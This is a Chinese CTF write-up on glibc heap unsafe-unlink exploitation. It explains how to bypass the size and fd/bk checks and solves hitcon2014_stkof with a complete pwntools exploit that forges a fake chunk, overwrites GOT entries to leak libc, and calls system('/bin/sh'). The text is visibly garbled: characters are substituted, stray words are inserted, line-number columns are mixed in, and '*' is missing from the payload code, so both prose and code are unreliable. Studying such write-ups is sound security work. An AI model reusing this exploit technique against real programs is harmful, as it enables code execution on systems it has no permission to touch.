0x01 正常unlink
当一个bin从记录bin的双向链表中被取下时,会触发unlink。常见的好比:相邻空闲bin进行合并,malloc_consolidate时。unlink的过程以下图所示(来自CTFWIKI)主要包含3个步骤,就是这么简单。node
根据p的fd和bk得到双向链表的上一个chunk FD和下一个chunk BK
设置FD->bk=BK
设置BK->fd=FD
在这里插入图片描述
下面看一下unlink的源码。linux
#安装源码
apt install glibc-source
#下面目录下有一个glibc-2.23.tar.xz
/usr/src/glibc/
#能够拷贝到understand中进行源码阅读
1
2
3
4
5
size检查
第一个要检查的是须要解链bin的size。在堆中有两个地方存储了p的size。第一个是当前p->size。第二个是next_chunk§->prev_size。比较两个大小。
fd和bk检查
检查p是否在双向链表中。在双向链表中有两个指针指向p。第一个是FD->bk,第二个是BK->fd。shell
/ Take a chunk off a bin list /
#define unlink(AV, P, BK, FD) { \
//第一个检查
if (builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0)) \
malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
FD = P->fd; \
BK = P->bk; \
//第二个检查
if (builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
//完成上图的unlink过程
//具体过程能够看源码
} \
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x02 利用思路
要利用unlink首先要绕过前面提到的两个检查。绕过size检查须要能够修改下一个chunk->prev_size。绕过fd和bk检查须要可以控制fd和bk。数组
1.第一种利用思路
利用条件缓存
存在UAF能够修改p的fd和bk
存在一个指针指向p
利用方法ide
经过UAF漏洞修改chunk0->fd=G_ptr-0x18,chunk0->bk=G_ptr-0x10,绕过fd和bk检查
free下一个chunk,chunk0和chunk1合并,chunk0发生unlink,修改了G_ptr的值
效果函数
修改G_ptr=&G_ptr-0x18。若是可以对G_ptr指向的空间进行修改,则可能致使任意地址读写。
在这里插入图片描述ui
2.第二种方法思路
这种状况在作题中出现的状况比较多。由于malloc是返回的指针若是存储在bss段或者heap中则正好知足利用条件2。debug
利用条件指针
能够修改p的下一个chunk->pre_size和inuse位
存在一个指针指向chunk p的内容部分
利用方法
伪造fake_chunk。fakechunk->size=chunk0-0x10,能够绕过size检查。fakechunk->fd=&G_ptr-0x18,fakechunk->bk=&G_ptr-0x10,绕过fd和bk检查。
修改下一个chunk的prev_size=chunksize§-0x10。由于fakechunk比chunk0小0x10。
修改下一个chunk的inuse位。
free下一个堆块chunk1。fakechunk和chunk1合并,fakechunk发生unlink,修改了G_ptr的值。
效果
修改G_ptr=&G_ptr-0x18。若是可以对G_ptr指向的空间进行修改,则可能致使任意地址读写。
在这里插入图片描述
0x03 例题 hitcon2014_stkof
1.查看程序保护
能够修改GOT表,没有PIE,很好。
在这里插入图片描述
试运行,没有输出。
在这里插入图片描述
2.查看程序
菜单题只是没有把菜单打印出来。1是add。2是edit。3是free。4是todo没有实际用途
在这里插入图片描述
add函数
add就是正常的add
读入size
malloc对应的size
0x602100记录的是已经申请的note数量
0x602140是heaparray指针数组
在这里插入图片描述
edit函数
没有验证输入的size大小,存在heap overflow
输入index
输入size
输入content
在这里插入图片描述
delete函数
将堆块释放
将数组置0
在这里插入图片描述
3.利用方法
这里正好知足第二种利用思路,bss段存在G_ptr指向堆的内容,且能修改下一个堆块的prev_size和inuse位。
构造fakechunk来unlink使bss段中的堆指针指向附近
利用edit函数,修改函数指针指向free_got
修改free_got为put_plt,以后再调用free时就会输出指针指向的内容来泄露libc地址
将free_got改成system地址
调用free函数释放掉内容为"/bin/sh"的堆块来getshell
这里还有一个问题就是缓冲区的问题。题目并无setbuf,因此IO缓冲区会在程序运行的时候在堆中进行申请。咱们先连续建立3个0x20大小的chunk来查看堆栈排布状况,方便后续unlink操做。以下图,第一个申请的堆块并无和后面几个连续分布,因此第一个堆块不能用来作fakechunk。
在这里插入图片描述
建立堆块
idx1用来解决IO缓存的问题
idx2用来构造fakechunk和idx3来unlink
idx4用来防止和top chunk和并
head = 0x602140 #堆指针数组
fd = head + 16 - 0x18
bk = head + 16 - 0x10
add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4
1
2
3
4
5
6
7
构造完成的堆空间分布
在这里插入图片描述
0x602100存储了note数量
0x602140存储了指针数组,索引从1开始
在这里插入图片描述
构造fakechunk
以下图,黄框为构造的fakechunk
payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)
1
2
3
4
在这里插入图片描述
unlink
释放第3个堆块,触发unlink。0x602150中的指针已经指向bss段的空间当中。经过修改数组中的指针来达到任意地址写的目的
在这里插入图片描述
leak libc
将heaparray[1]指针覆盖为free_got,heaparray[2]指针覆盖为puts_got
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'8+b'b'8+p64(free_got)+p64(puts_got)
edit(2, payload2)
1
2
3
4
5
在这里插入图片描述
将free_got的值覆盖为puts_plt。下次调用free时实际调用的是puts
payload3 = p64(puts_plt)
edit(1, payload3)
free(2)#实际调用的是puts(puts_got)
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))
1
2
3
4
5
6
7
8
9
10
11
在这里插入图片描述
getshell
修改free_got为system,并释放内容为’/bin/sh’的堆块来getshell。
payload4 = p64(system_addr)
edit(1, payload4)
edit(4, '/bin/sh\x00')
free(4)
p.interactive()
1
2
3
4
5
在这里插入图片描述
4.exp
from pwn import *
context.arch = 'amd64'
debug = 1
if debug:
context.log_level='debug'
context.terminal = ['terminator','-x','sh','-c']
p = process('./stkof')
elf = ELF('./stkof')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
p = remote('node3.buuoj.cn',28755)
elf = ELF('./stkof')
libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.so')
def add(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')
def edit(idx, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(content)))
p.send(content)
p.recvuntil('OK\n')
def free(idx):
p.sendline('3')
p.sendline(str(idx))
head = 0x602140
fd = head + 16 - 0x18
bk = head + 16 - 0x10
add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4
payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)
free(3)
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'8+b'b'8+p64(free_got)+p64(puts_got)
edit(2, payload2)
payload3 = p64(puts_plt)
edit(1, payload3)
free(2)
p.recvuntil('OK\n')
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))
payload4 = p64(system_addr)
edit(1, payload4)
edit(4, '/bin/sh\x00')
free(4)
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
0x04 总结
当free时(不是fastbin)若是前面或者后面的chunk是空闲的,则会发生合并
若是此时存在G_ptr指向前面的chunk,而且存在覆盖的话可能存在unsafe_unlink
1.创造fakechunk,这里针对64位
presize=0
size= 原来size-0x10
fd=&G_ptr-0x18
bk=&G_ptr-0x10
1
2
3
4
2.覆盖下一个chunk
presize = 原pre_size-0x10
size从0x91改成0x90
1
2
3.触发unlink
free(chunk1)chunk1会和前面的chunk0进行合并,断链fake_chunk->bk->fd = fake_chunk->fd->bk&G_ptr = &G_ptr-0x18